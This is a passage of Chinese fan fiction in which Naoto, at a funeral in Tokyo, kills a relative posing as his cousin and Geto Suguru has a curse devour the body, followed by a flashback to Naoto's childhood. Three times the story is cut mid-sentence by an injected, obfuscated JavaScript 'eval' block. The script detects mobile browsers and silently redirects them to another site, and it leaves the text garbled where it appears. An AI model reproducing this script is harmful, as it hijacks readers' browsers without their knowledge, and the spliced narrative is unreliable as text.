夏油杰双手拢回袖中,目光落在灵台的照片上,又转回来看向场地圭介,语气带着恰到好处的惋惜:“藤野君这么年轻就……真是令人痛心,还请节哀。” 场地嗯了一声,不知道该接什么话。 他不太擅长和这种人打交道,尤其是,他觉得这个人让他有些不适。 这时,入口处传来动静。 佐野真一郎推门进来,身边跟着一个人。 那人比真一郎矮半个头,身形瘦削,穿着深灰色西装,正和真一郎有一搭没一搭地聊天。 “圭介。”真一郎朝他招了招手,表情有点怪,带着那人走过来。 “这位是加茂川先生,直贺的表兄。”真一郎介绍道,“他前两天打电话到店里,说在直贺的遗物里找到我的名片,想联系一下。” 场地倏地抬眼,直勾勾地看向加茂川。 对方的脸很清瘦,嘴唇没什么血色,脸上的笑有点局促,向场地圭介微微倾身。 “这是场地圭介,我们都是和直贺关系很好的兄弟。”真一郎继续介绍。 “您好。”加茂川的声音很干,但语调轻和:“我听直贺提过你们,谢谢你们为他做这些。” 从穿着,到言行,都很体面。 “应该的。”场地说。 他仔细盯着对方的脸,视线在加茂川脸上不停地来回描摹。 夏油杰安静地站在一边,他的目光落在加茂川身上,细长的眼睛微微眯起来,但没有说话。 加茂川抬眼,视线和他对上。夏油杰笑了一下,加茂川勉强扯了下嘴角,又别开脸。 场地想了想,问道:“那您认识禅院直人吗?他也是直贺哥的——” 场地圭介的话还没说完,加茂川不自然地僵了一下,语速变得很慢,像是在斟酌字句: “认识,但……不太熟。” 说完,他轻咳了两声,低头整理了一下袖扣。 真一郎看了加茂川一眼,又和场地圭介对上眼神,两人眉头微皱,但没说什么。 就在这时,场地的手机震了一下。 他掏出来看,是直人发来的消息。 场地飞速地回了短信,然后抬起头:“直人说他快到了,我去门口接他。” 话音落下的瞬间,加茂川的身体明显晃了一下。他抬起头,再看向几人的眼神里带上了些慌乱。 场地圭介不太理解,他挑起一边眉毛,握着手机的手往门口指了指:“要和我一起过去吗?你们也算是亲戚。” “噢不了,”加茂川拒绝得很快,随即又意识到反应可能有些过度,补充道,“我有点不太舒服,请问洗手间在哪边?” 真一郎指了指楼梯口:“楼上有。” “好的,我先失陪一下。”加茂川朝他们欠了欠身,步履有些匆忙地走了,一次也没有回头。 留在原地的三个人看着加茂川在楼梯口消失的背影,谁也没说话。 场地圭介正想开口和真一郎说自己去接人,余光忽然注意到还站在一旁的夏油杰。 他竟然还在。 夏油杰双手拢在袖中,嘴角的弧度没什么变化。只是那双细长的眼睛,还望着加茂川离开的方向。 察觉到场地圭介的视线,夏油杰收回目光,微笑着朝他点了点头:“那我先去准备了。” 说完,不等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887281|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场地圭介回应,夏油杰便后退了几步,转身回到了灵台那边。 真一郎拍了拍场地圭介的肩膀,下巴朝门口抬了抬:“快去吧。” 场地圭介皱起眉,脸朝加茂川离开的方向偏了偏。真一郎没有回头,神色平静地说:“这边我看着,你先去招待客人。” 场地圭介推门走出侧厅,室外的空气比里面热一些,现在还没到降温的时候。 松野千冬和花垣武道正站在入口处负责接待,见他出来,都朝他点了点头。 “圭介君,”花垣武道小声问,“里面都准备好了吗?” “嗯。”场地应了一声,目光扫过两人,笑了下,“辛苦你们了。” 松野千冬摇了摇头,正要说什么,视线忽然越过场地,望向车道方向。一辆黑色的轿车正缓缓驶近,在殡仪馆门口平稳地停下。 车门打开,禅院直人从车里下来。 场地圭介看着他,一时间竟有些没反应过来。 直人把头发剪短了,发梢整齐地梳在耳际,露出完整的额头。他穿着一身黑色的西装,但衣服明显不太合身,肩膀和腰部有点空荡。 不知道是不是衣服的原因,他看上去比上次在医院见面时更瘦了。 直人的肤色苍白,所以五官的轮廓在这张面上都勾勒得很重,浓密的眼睫和眼下乌青连成一片,在刺眼的阳光下成了他脸上仅剩下的颜色。 他微微伏着脊背,宽松的袖口遮住手腕,但看不出什么难为情的窘迫和拘谨。 他关上车门转身面向场地圭介,双手抱着一个长型木盒,向他们欠身。 场地圭介连忙回礼,松野千冬和花垣武道也跟着鞠躬。直人直起身,捧着木盒走上台阶。场地正想上前去接,那辆黑色的轿车后排车窗忽然摇了下来。 一张戴着黑色眼罩的脸露出来,白色的头发在车内昏暗的光线下显得有些扎眼。 “直人。”那人喊了一声,声音里带着点懒洋洋的调子。 直人停下脚步,回头看过去。脚下没动,只是看着车里的人。 车窗里的人也不急,就那么等着。过了几秒,他又喊了一声:“直人。” 直人似乎很轻地叹了口气,转身走下台阶,回到车边。他弯下腰,凑近车窗。 场地圭介看不清他们在说什么,也听不见声音,只看见直人微微侧着头,车窗里的人似乎说了句什么,直人又往里贴近了点。 两人的距离很近,看得出很亲密。车窗里的人抬起手,好像碰了碰直人的脸颊,但动作太快,场地没看清。 最后,车里的人摆了摆手,说了句什么。直人直起身,点了点头。 车窗缓缓升起,黑色轿车重新启动,驶离了殡仪馆门口。 直人站在原地,看着车子消失在街角,才转回身,重新向台阶走来。 他的步伐不快,瘦长的身形随着行进的动作晃动,好像这几步台阶已经耗光了他大部分力气。 走到场地圭介面前时,他抬起眼,轻轻喘了两口气,嘴角带起很淡的笑。 “我们进去吧。”他说。 41. 【三十五】 进去之前,直人将手中的木盒往场地圭介眼前送了送。 场地圭介连忙伸手去接直人手里的木盒,有些沉,但更多是盒子本身的重量。 “这是——?” 直人示意他可以打开看。场地打开搭扣,掀开盒盖。 里面是一卷叠得方正的布料,杏黄色的底,上面用彩线绣着松、竹、梅的纹样。针脚很密,绣工很精细。 对上场地圭介困惑的眼神,直人的视线落在布料上,声音不高,语速很慢:“这是藤子夫人——直贺哥的母亲,亲手绣的。” 他停了一下,喉结上下哽动,才又缓缓说:“藤子夫人手很巧,小时候我母亲过世后,她也经常在我的衣角绣些花样,哄我高兴。” 场地圭介看着那块布,没说话。绣样很传统,是常见的,祝福长寿健康的意象。 “这卷布料,她本想等过年,给直贺哥做成衣服。”直人接着说。 他的声音还是平稳的,只是说到后半句时,他突然停顿了几秒,才又重新开口:“他母亲……很难过。知道直贺哥去世的消息,没两天也跟着去了。” 直人的指尖去抚摸那簇绽开的梅花树,很小心,刚碰到又抬了起来,“她离世前我去探望她,她把这布料交到我手里,说直贺已经走了,就由我替他收着,也算是替直贺收了她一番心意。 场地抱着盒子的手骤然收紧,他猛地抬头,眼睛瞪着,眼眶发酸。 “但我想,”直人的声音断断续续,“不如今天带过来,以它替直贺哥的尸身在东京下葬,也算是给你们留个念想。 也愿你们,代直贺兄长受到藤子夫人的祝愿,平安康健,长寿无忧。” 场地圭介捧着盒子,手指抠进木料纹路里。 他盯着那卷布料,喉头滚了几下,像有卷刀堵住,没能出声。眼眶烫得厉害,他低下头。 过了很久,他才挤出一点声音:“……谢谢。” 直人没说话,只是看着他。 场地圭介用力吸了口气,再抬起头,眼眶还是红的。他小心地扣好盒盖,抱紧。“我们进去吧。”他说。 直人点点头。 侧厅里人比刚才多了些。灰谷兄弟站在角落低声说话,看见场地圭介进来,抬手打了招呼。他们的视线扫过直人,停顿住了,直勾勾看着。 还有几个人,也都是以前和直贺有过交集的朋友。他们看见场地圭介身边的直人,都露出些许疑惑,犹豫要不要上前搭话。 场地圭介转头看向直人。 直人脸上没什么表情,双手交握在身前,眼睫半垂。场地圭介到嘴边的话又咽了回去。他觉得直人可能不想被打扰。 就在这时,灵台那边传来很轻的脚步声。 场地圭介抬眼看去,是那个叫夏油杰的僧人。他刚不知道去哪里,手里托着经文,从灵台后面绕出来,正缓步朝他们这边走来。 直人似乎有所预感。他抬起眼。 两人的目光在空中撞上。 直人瞳孔骤然缩紧,右手搭上了左边小臂,袖管里放着那把匕首。 但他脚下一步没动,仍旧站在场地圭介身边。 夏油杰脸上挂着那副温和的笑,步子没停,径直走到他们面前。他先朝场地圭介微微颔首,然后转向直人。 他的声音平稳和缓,带着点笑意:“这位是?” 直人没接话,只是看着他。 场地圭介蹙眉,不知道为什么灰谷兄弟找来的这个僧人这么喜好社交,他的视线去找灰谷兄弟,想让他们把这家伙劝走。 但他嘴上还是先为直人介绍了夏油杰:“这位是夏油先生,是请来为直贺哥念经的僧人。” 直人的眼珠缓缓转向场地圭介。他的声音很轻,带着一点古怪的滞涩:“……不好意思。” “请问,麻烦你再说一遍,”直人看着场地圭介,一字一句地又问了一遍,“他是来干什么的?” 场地圭介愣住,下意识重复:“是做法事的僧人,是有什么——” 他的话没说完。 因为他看见直人笑了一下。 那笑容很快抹平,其实也不像笑,更像是脸颊肌肉的抽动。 妈的。 直人是真的要笑出来了。 他转过脸,重新看向夏油杰,乌黑的眼睛里没什么情绪,声音压得很低。他说:“真是……好大的排场啊。” 场地圭介没听清,正想问直人说了什么,但直人的目光仍钉在夏油杰身上。 夏油杰脸上还挂着无可挑剔的笑。 片刻的沉默,直人主动向夏油杰伸手:“我是逝者的弟弟,藤野直人。” 他说得很慢,音量和语速刚好让夏油杰听清。 夏油杰狭长的眼睛微微睁大,做出一副原来如此的表情,他伸出手回握住直人的手,他握得很紧,两人冰凉的掌心相贴,但一触即分。 夏油杰的手拢回袖子里,笑眯眯地呀了一声:“那直人君岂不是和刚刚的加茂川先生是亲戚。” …… 加茂川。 …… 直人垂着眼,停顿了两秒,视线才慢慢从手上一寸寸往上抬。 最后,他直直地看向夏油杰,对方嘴角带着点笑。 场地圭介连忙插话:“噢,是,但是、……” 他吞吞吐吐,像有所隐瞒。 直人看过去,目光掠过场地圭介面上不自然的表情,又移回夏油杰脸上,眉梢微动,像只是听到了一个寻常的,又略微意外的消息。 “加茂哥,也来了?”他问,声音还算平稳。 场地圭介含糊地嗯了一声,简单一句带过:“刚到不久。” “是么?” 直人应道,视线却没有离开夏油杰。 夏油杰嘴一张,把场地圭介没说的补充完了:“他好像不太舒服,在楼上休息呢。” 场地圭介牙关发出咬紧的声音。 夏油杰像是没察觉到气氛的微妙,依旧用那种闲聊的语气,目光在直人身上打量了一圈,微笑道:“说起来,直人君和加茂川先生不愧是亲戚呢。” 直人看着他,没接话。 夏油杰继续慢悠悠地说:“身形都很清瘦,像是风大点都能吹走的。” 他顿了顿,又瞥了直人一眼,笑意加深,“当然,直人君和加茂先生比起来……”他像是思索了一阵,然后点评:“直人君还是强壮不少。” 最后半句话,他说得很慢,还朝直人眨了眨眼。 直人静静地听着,脸上没什么表情,只是那双黑沉沉的眼珠,缓慢地转动了一下。 他搭在小臂上的右手轻轻放下,嘴角自然地放松。 “这样。”直人开口,声音平缓,“我和加茂川表哥确实是旧识,只是许久未见了。没想到他今天也会来。” 他转向场地圭介,语气带上恰到好处的关切与疑惑,“他现在在楼上?我该去见见他。” 场地圭介喉结滚动,他避开直人的视线,低声道:“加茂川先生他……可能更需要安静休息。” 他说话干巴巴的,恐怕是很少说慌,显得很不自然,还抬手摸了把头发。 直人侧着脸,看着他,没说话。 夏油杰见状,说:“仪式的时间快到了。场地君,直人君,作为主家,二位是否该准备一下了?或许等仪式结束,加茂君休息好了,自然会下来。” 场地圭介像是找到了理由,也不管他刚才还想把夏油杰一脚踹出去,立刻点头附和:“对,夏油先生说得对,仪式要紧。直人君,我们就在楼下等他吧?” 直人没立刻回答。 他的目光下落,落到夏油杰垂在身侧的手,那只手的手指随意地勾了两下,随即又恢复原状,自然下垂。 直人盯着那只手看了两秒,然后抬起眼,再次看向夏油杰,夏油杰脸上的笑容毫无变化,但是他没再看他。 “也好。”直人最终说道,声音听不出情绪,“那就等仪式后吧。” 场地圭介松了口气。 夏油杰当着场地圭介的面微微欠身:“我也需最后准备一下经文,失陪了。” “请便。”直人颔首。 夏油杰离开后,场地圭介见直人确实没有要去找加茂川的意思,而另一边羽宫一虎和真一郎在等着他,于是说道:“那直人君你先在这里休息一下,我去看看其他安排。” “好的,辛苦了。” 直人独自站在原地,看场地圭介和几个青年走进一个小隔间后,目光平静地扫视着侧厅里低声交谈的人们。 他的视线很快锁定了一个靠在墙边,留着醒目的灰紫发色的年轻人。直人迈步走过去,在那人面前停下。 “打扰一下,”直人开口,声音不大,“请问洗手间在哪里?” 紫色头发的年轻人——灰谷兰,抬眼看了看他,手随意地往楼梯方向一指:“二楼。” “多谢。”直人礼貌地点了点头,他看了眼站在灵台前,背对所有人的夏油杰,然后转身,朝着楼梯走去。 冷静。 冷静。 冷静。 “加茂川”的手在水流下反复冲洗,指腹的皮肤已经浸泡得饱胀皱巴。 他一直在发抖。 洗手间的灯被他摁掉,只剩下走廊从门口透过来的一斜弱光。 这间卫生间在最角落的位置,几乎没人使用。 他低着头,麻木地将指缝来回清洁,企图以此拖延时间。手机放在台面上一直在震动,真一郎在询问他是否好转,是否需要他们的帮助。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887282|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>消息一条接一条地发,像是催命符。 他已经要哭出来了。 他后悔了。 他不应该来东京。 他没想到,没想到,没想到他会出现在这里。 他,他,他,偏偏是他——无论是谁都好,哪怕是他的那个哥哥—— 他以为,他们的目的已经达到,会把直贺的一切当做垃圾,一脚踢开。 所以,所以,所以他才敢—— 走廊里突然传来脚步声。 哒、哒、哒。 在空旷的走廊回响,很慢,很有节奏。 他立刻抬起头,因为惊恐瞪大的眼睛在镜子里看到自己的脸,来不及细看,扭身要往隔间里躲。 然而就在他转身的刹那,洗手间仅剩的光亮消失不见,一个高大的黑影出现在门前,将走廊的顶光挡得一丝不漏。 他的身体僵在原地,浑身汗毛倒竖。正要逃窜的脚生在地上,迈不开腿。 洗手间很安静,连呼吸声都听不见。 他颤颤巍巍地转过脸。 禅院直人站在那里,漆黑的眼睛看着他。 他单手拎着维修警示牌,另一只手抬起来扶着头顶的门框,歪了歪头,笑盈盈地轻声询问:“加茂英吉,你在这干什么呢?” …… 没得到回应也不恼,直人将警示牌立在门外,在大理石地面上发出“咔”的一声轻响。 他俯身,将它摆正后,转身走进洗手间。 门在身后合拢,隔绝了走廊的光。 加茂英吉眼睁睁看着他走近,往后踉跄两步,脊背撞上冰冷的瓷砖墙,滑跪在地。 他扑过去抱住直人的腿,手指死死攥着裤管,声音抖得不成样子:“对不起、对不起……我这就走,我现在就走——” 直人没动,低头看着他。 “你走什么。”直人说,他的声音很温柔,幽幽地传过来,“我这不是在问你,你在这干什么?” “哦,对了,”直人像是才想起来的,又问:“你什么时候改名叫加茂川了?” 英吉抬起头,脸上全是泪和汗,嘴唇哆嗦着:“是我鬼迷心窍……对不起,直人大人,我、我一时糊涂……” 直人垂着眼看他,没说话。昏暗里,他的脸看不清表情。 英吉更慌了,语无伦次地交代起来。 他说以前在京都的时候,跟加茂川一起,和直贺喝过酒。直贺喝多了,提过自己在东京有做生意的朋友,很讲义气。 后来直贺死了,加茂川也不见了。英吉偷偷跑去直贺给加茂川租的公寓,没找到人,却在抽屉里翻到了直贺留下的名片。 “我就……就想试试……”英吉的声音越来越低,“我听说他们做生意,来钱快……我就想冒充加茂川,说不定、说不定他们能带我……” 直人安静地听着,等他说完,才开口:“加茂川不见了?” 英吉猛地一顿,像被掐住了喉咙。 直人又说,他半蹲下来,和英吉平视,声音还是很轻,“加茂川不见了,你没想过找么?我记得,你和他关系很好呀。” 英吉张着嘴,发不出声音。 加茂川的去向,他们都心知肚明。 “是我该死!我劝过他的……我劝过他让他不要冒犯您的,我真的劝过他的——!他不听……他该死,他死得好,死得活该!” 直人微微偏了下头。 “你这话说的,”他慢慢地说,“好像他的死和我有关系的。” 英吉浑身一僵,随即更剧烈地颤抖起来。 他终于崩溃了,整个人伏在地上,额头抵着冰冷的地砖,哑着嗓子哭求:“直人大人……求您饶了我……我妻子刚生了孩子,女儿才三个月……我就是想多赚点钱,让她们过得好点……” 他断断续续地说,他没术式,在加茂家连下人都看不起。妻子怀孕时营养不良,孩子生下来瘦得很。他没办法,真的没办法。 “还有别人知道吗?”直人突然问。 英吉一个劲摇头,声音激动:“没有了,没有了,我谁都没说!” “我知道的,我知道不能得罪您的,所以我谁也没说,我只是想赚点钱,饶了我吧。” 直人低笑了一声:“我也只是个没有术式的可怜人,你何必这样,真是折煞我了。” “我能给您办事……”英吉不敢接话,他抬起脏污的脸,眼睛里全是眼泪,“我能当您的眼线,加茂家的事,我什么都能告诉您……我给您当牛做马,求您……求您给我条活路……” 洗手间里只剩下他粗重的抽泣声,和水龙头没关紧的滴水声。 嗒、嗒、嗒。 直人垂眼看他,过了很久,久到惊惧的英吉几乎要晕过去,他才眯了眯眼。 42. 【三十六】 仪式开始只剩下十分钟。 夏油杰看了眼挂钟,又回过头,视线扫过整个会场。 都是些染着五颜六色头发的混混,夏油杰不悦地想。 这群猴子比大街上的还要惹人厌烦,他们更像是连社会化训练都没做过的畸胎。 这场葬礼唯一符合正式规格的只有他这个穿着袈裟的和尚。 衣兜里的手机震了一下,夏油杰掏出来打开。 是一串号码发来的短信,内容只有两个字:【上来。】 …… “仪式只有十分钟了,你去哪?” 一道声音从身后叫住夏油杰。夏油的表情顿时变得嫌恶,但转头的时候嘴角又扬了起来。 是灰谷龙胆。 灰谷兄弟里脑子更简单的那一个。 夏油杰又看了眼他身侧,他哥哥不在。 夏油杰的语气很柔和:“龙胆君,不好意思,我需要去整理一下我的服饰。我会按时下来的。” 灰谷龙胆闻言上下打量夏油杰的着装,还是那套袈裟,这种衣服看着很繁琐,无论是整齐还是胡穿他都看不出什么区别。 夏油杰的一只脚还踩在台阶上,他的笑容越来越不耐烦。 “噢,那你去吧。”灰谷龙胆没察觉什么不对,回答得很直接,说完可能又觉得自己的语气太生硬,补了一句:“麻烦你了。” 夏油杰笑着颔首:“应该的。” 夏油杰不再停顿,径直往楼上走。 到了二楼,他沿着走廊往里走,他抬起手,一路上,遍布整条长廊的咒灵乖顺地钻入他的袖口,最后,他被引导着停留在尽头的洗手间。 到了这里,灯光已经变得很暗,顶灯间隔变宽,有些甚至不亮。 洗手间的门关着,门口立着一个黄色的三角警示牌。 夏油杰抽了抽鼻子,厕所浓烈的廉价熏香底下,混着一股令人作呕的血腥气。 他布下一个简单的帐,然后推开洗手间的门。 出乎意料的,里面很干净。 白炽灯的光照得瓷砖反光。洗手台、镜子,都擦得干干净净,没有血,也没有任何打斗的痕迹。 隔间的门都敞着,除了最后一间。 夏油杰走过去,倒数第二间,禅院直人坐在马桶盖上。 隔间太小了,他的两条腿在逼仄的空间交叠,胳膊搭在膝盖上。他垂着头,手里夹着根烟,烟雾模模糊糊往上飘。 夏油杰在他跟前停下,直人抬起头,他脸上有几点喷溅状的血迹,就糊在左半脸。白衬衫的领口同样也有斑斑点点的血迹,已经半干,颜色发褐。 他看着夏油杰,没说话。烟从嘴角飘出来,又模糊了他半张脸。 夏油杰也没说话。他往里走,伸手推开最后一个隔间的门。 加茂川跪在马桶前,上半身栽了进去。 他的头完全埋在水里,黑色的头□□散开,像一团水草。颈部被刺穿了,伤口不大,但很深,血还在往外冒,汩汩地混进马桶的水里,把那一圈都染成了暗红色。 水已经快满了,血混着水,颜色浑浊。 他的一只手垂在身侧,另一只手扒着马桶边缘。夏油杰上前打量两眼,已经死透了,只有颈部一道伤口,一刀封喉。 一把手柄缠着红线的匕首就丢在地上。 夏油杰看了两秒,收回视线。他转过身,看向直人。 直人把烟按熄在旁边的垃圾桶盖上。烟头滋啦一声,升起最后一缕细烟。 “我还以为你要来找他叙旧呢。”夏油杰双手拢回袖子里,柔和的声音在这片空间显得很突兀。 直人冷冷地看着他。 夏油杰笑了两声,问:“好吧,你喊我来做什么?” “把尸体处理掉。” 夏油杰看着直人,嘴角勾着,但表情很平淡。 “你下手的时候有想过怎么收场吗?” “没有。”直人答得很干脆。他的手撑着沾了血的那半张脸,眼睛盯着地面。 “要是我今天没来——” “你帮不帮?”直人抬眼,不耐烦地打断夏油杰。 夏油杰一愣,直人还直勾勾从下往上看着他。这个角度,直人的眼神很凶。 但他这么长手长脚一个人,束在马桶上坐成一团。 夏油杰又觉得有些可爱。 他无可奈何地举起手:“好吧好吧,这可真是……” 他召唤出体型庞大的咒灵,它张开巨大的嘴,开始吞噬加茂川的尸体。 “你杀他做什么,他比你还弱,光听到你的名字就要被吓破胆了,能成什么气候。”夏油杰双手环胸,倚靠在门框上。 他本意是直人说不定能把这个家伙攥在手里,怎么利用一把,没想到他直接把这人给杀了。 直人不搭话,他重新低下头,但状态放松很多。 就在夏油杰以为他不会回答的时候,直人开口了:“恨和恐惧是不会消失的,只要他还活着,总有一天会产生威胁。” 直人就是这样想的。 怨恨就像火苗,点燃第一根草,那与它紧挨着的植物们也都会陆陆续续燃烧起来。 所以杀了直贺,就要杀掉他的母亲。杀了加茂川,就要杀了知情的加茂英吉。 “可是,人是杀不完的。”夏油杰沉默了一会儿,微微俯身靠近直人,他声音很轻,像长辈劝诫孩子。 直人像听到什么好笑的事情,他看向夏油杰:“你还想创造没有非术师的世界呢。” 夏油杰被噎了一把,脸上罕见地带上点惘然和无措,但只有半秒,他又换上了笑。 他苦笑着感叹:“真是的。” 旁边咒灵嘴里发出嘎吱,嘎吱,咀嚼骨骼和血肉的声音,尸体已经只剩下半截。 手机铃响了,在洗手间产生尖锐的回音。是直人的,他掏出手机,接通。 下一秒,直哉的声音传出来:“你说你杀人了,怎么回事!” …… 好不容易应付完直哉,东京之行已经完全暴露了的直人向后靠在墙上,仰头长叹了一口气。 夏油杰全程安静地听着直人和直哉的对话,等电话挂断,他才悠悠开口,带着点惊讶:“你不会是先给他说了,才给我发的短信吧。” 直人没吭声。 夏油杰当他默认了,脸上露出更荒诞的表情:“你告诉他有什么用,我不就在楼下吗?” 从高专的时候,夏油杰就发现不对了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887283|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他一直以为,直人这种性格的孩子,一定是那种会把事情藏在心里,独自面对的类型。 但慢慢的,他发现直人对他那个远在京都的哥哥,在某些方面简直是知无不言。 就连他们交往的消息,直哉都比就在校内的五条悟和硝子早知道半个小时。 意外地藏不住事。 他本来还以为二十多岁的直人已经变了很多。 直人还是那副样子,眉毛微蹙,有点烦躁。 其实他并没有告诉直哉,但他问了风介。但是他没想到直哉就在大阪,还就在风介旁边。 他没有在非术师场合处理尸体的经验,在他看来,找夏油杰帮忙是下下策。 鬼知道夏油杰来,是来帮忙的,还是顺带把他也打包弄死的。 可是他在脑子里搜寻了一圈,好像又确实没有别的办法。 于是他嘴上讥讽:“我总得联系人给我收尸。” 夏油杰不说话了,只轻轻叹了口气。 他掏出手帕,折回去用水打湿,才返回来,伸手去擦直人的脸。 他的头发从身后落下来,垂到直人的胸口。 夏油杰目光一直盯着直人脸上的污渍,神态很认真,遇到顽固的血迹,稍微加重了点力道擦拭。 他身上还是带着那点,若有若无的香水的味道,慢悠悠地往直人鼻子里飘。 直人别过脸,又掏出一支烟衔住,另一只手去找打火机。 刚摸到的时候,夏油杰的手率先钻进那个衣兜,将打火机抽了出来。 咔嚓一声,火苗窜起来,照亮了直人的脸,火光在直人眼睛里跃动。 香烟被点燃,一缕烟雾在夏油杰和直人之间升起来。 直人抬眼,正好对上夏油杰的眼睛。 他没有笑了,但眼神还是温和的。 烟衔在嘴里,直人没有抽,烟灰一点点燃着,慢慢下弯,要掉不掉。 夏油杰拿着手帕的手顺着他脸颊的线条,缓慢地下移,一直停到直人的唇边。 他看着直人,直人也看着他。 夏油杰的指腹轻轻拨开那支香烟,然后他吻了上去。 没有更深的接触,也没有交换气息,只是单纯的触碰。 亲吻结束,夏油杰仍没有起身,他双手捧着直人的脸,两人额头相贴着,烟灰落在夏油杰的鞋袜上,微弱的火光一点一点发亮。 直人觉得很荒谬,但他没有躲。 他只是看着夏油杰,两人的胸膛靠得很近,交错着,上下起伏。彼此之间能感受到对方喷洒的鼻息,很湿,很热。 直人突然笑了,牙齿还咬着烟嘴。 “好恶心。” 夏油杰眼睛睁大,他略微起身和直人分开,然后自嘲地苦笑:“真伤人。我的吻很恶心吗?” “不是。”直人摇头,他笑得要叼不住烟,他将烟从嘴里取出来,说:“咒灵的味道很恶心。” 在夏油杰终于无法保持平静的表情里,直人用指腹捻灭了烟头,他低着头,单手撑脸,自顾自的低声说下去: “一直要吞咽那么恶心的东西,像擦过下水道呕吐物的抹布,混合着铁锈和排泄物……夏油,这样的味道,我有成功帮你分担过一点吗?” 43. 【三十七】回忆 直人想回家。 听到这话的夏油杰手一顿,杯子里的水差点满出来。 这三天的接触,直人都不怎么说话。不管是和五条悟有关的话题,还是其他近乎闲谈的话,他都不太回答夏油杰。 第一次主动开口,说的却是他想回家。 夏油杰放下水壶,两只手握着水杯坐在直人的床头,迟疑地问:“是因为悟吗?” 彼时刚入学三天,在新生交流会被五条悟狠狠“教导”一番的直人,身上的骨头还在隐隐作痛。 不知道是不是0咒力的缘故,硝子的反转术式对直人起效很慢,所以只能每天治疗一部分。 夜蛾正道对五条悟的不知轻重很生气,他勒令五条悟在这期间要好好照顾直人,以此赔罪。 但五条悟是谁,他是不可能答应的,他还很猖狂地叫嚣,要是直人来求一求他,兴许悟大爷还能原谅他的所作所为。 “需要请求原谅的是你!” 夜蛾正道的铁拳降落在五条悟的头上。 所以夏油杰秉承着要保护弱小,照顾后辈的想法,替悟担起了责任。 不过。 悟虽然有时候是任性了点,但也不会无缘无故对别人产生很大的恶意……悟对直人的态度,夏油杰难免有些在意。 可他和硝子问悟的时候,悟却怎么也不肯说。 很奇怪,咋咋呼呼、扭扭捏捏的样子,倒也不像真的很讨厌直人,但又一直嘴硬是直人先做了人渣的行径,悟大人是在替天行道。 总之,夏油杰来找直人的时候,心里还是有些堤防的。只是单纯的负起责任而已,完成任务后,就当做普通后辈相处吧。 “我会让他过来和你道歉的。”夏油杰把杯身捂热了的水杯递给直人。 直人坐在床上,软绵绵的头发顺着额头垂下来。他双手接过杯子,颔首低眉,声音细微地说过谢谢前辈,才小口小口地抿水喝。 就是这样。 很乖巧的孩子,三天下来没有任何埋怨,没有一丁点脾气,也没有夏油杰以为的少爷病,就是一个很安静礼貌的后辈。 夏油杰起身,把披在直人身上的薄外套扶正,碰到直人肩膀的时候骨头的触感很硌手,三天而已,直人瘦了不少 他不太爱吃东西,但也不挑食。 不管夏油杰带什么来,他都很尽力地吃进嘴里,试图把它们吃完,哪怕看起来很辛苦。 夏油杰坐回原位,再说话的时候声音轻了很多:“悟这次的确很过分,我和硝子肯定会让他过来和你赔礼道歉的。” 直人摇摇头,还是低着脑袋。 “不是因为悟?”夏油杰试探地问,“那——是因为想家了吗?” 这话说出来,直人终于略微抬起头,侧过脸看向夏油杰。 看来是说中了。 也难怪,毕竟是御三家的孩子,据说此前也没有离开过家,应该是头一回出远门。 夏油杰笑起来:“直人想念父母了吗?” 直人又摇了摇头:“我母亲死了,父亲不管我。” 夏油杰的笑僵住了。 他尴尬地想说抱歉,但直人说了下去:“我有一个哥哥。” 得救了。 夏油杰看着直人提起哥哥上扬的嘴角,庆幸地呼了口气,顺着问到:“那你和你哥哥关系肯定很好。” 直人不说话,乌黑的眼睛只看着他。 安静的时间长到夏油杰要喘不过气的时候,直人终于点了点头,夏油杰的心放了下来,直人接着说:“惠子夫人说他是我的主人,我要爱戴他,效忠他,服从他。” ———— 母亲去世后,一直到那场简陋的葬礼结束,父亲和直哉都没有出现。下人们纷纷被遣散,惠子也开始收拾行装,据说马上要同直人的叔父成婚。 只有直人。 父亲好像彻底忘记有他这个儿子,母亲的身后事他随意交给了别人,对直人更是只字不提。 不大的院子里,大家都忙碌着要各奔东西,唯独直人不知道自己该去哪里。 最后是惠子。 惠子拜托一个年轻的侍女,春枝,把直人带回了女人们居住的连廊。 禅院家未婚的年轻女人,和已婚但丈夫地位低下,只能和丈夫分开居住的女人们都住在那里。 惠子说等她与扇大人的婚姻稳定,就向他求情,允许她把直人接过去带在身边。 留下这样的话,惠子擦了擦直人糊了满脸的泪水,转身离开了。 直人哭泣着,本想追过去,可当他看见惠子转身时落下的眼泪,他又停下了。 他不能让惠子更难过了。 他在那条连廊生活了六个月。 她们白天出门去做苦力,晚上回来还要缝补男人们的衣物,七八个人挤一个大通铺,现在还要加一个直人。 因此她们不喜欢直人,她们嫌弃春枝带回来一个麻烦。 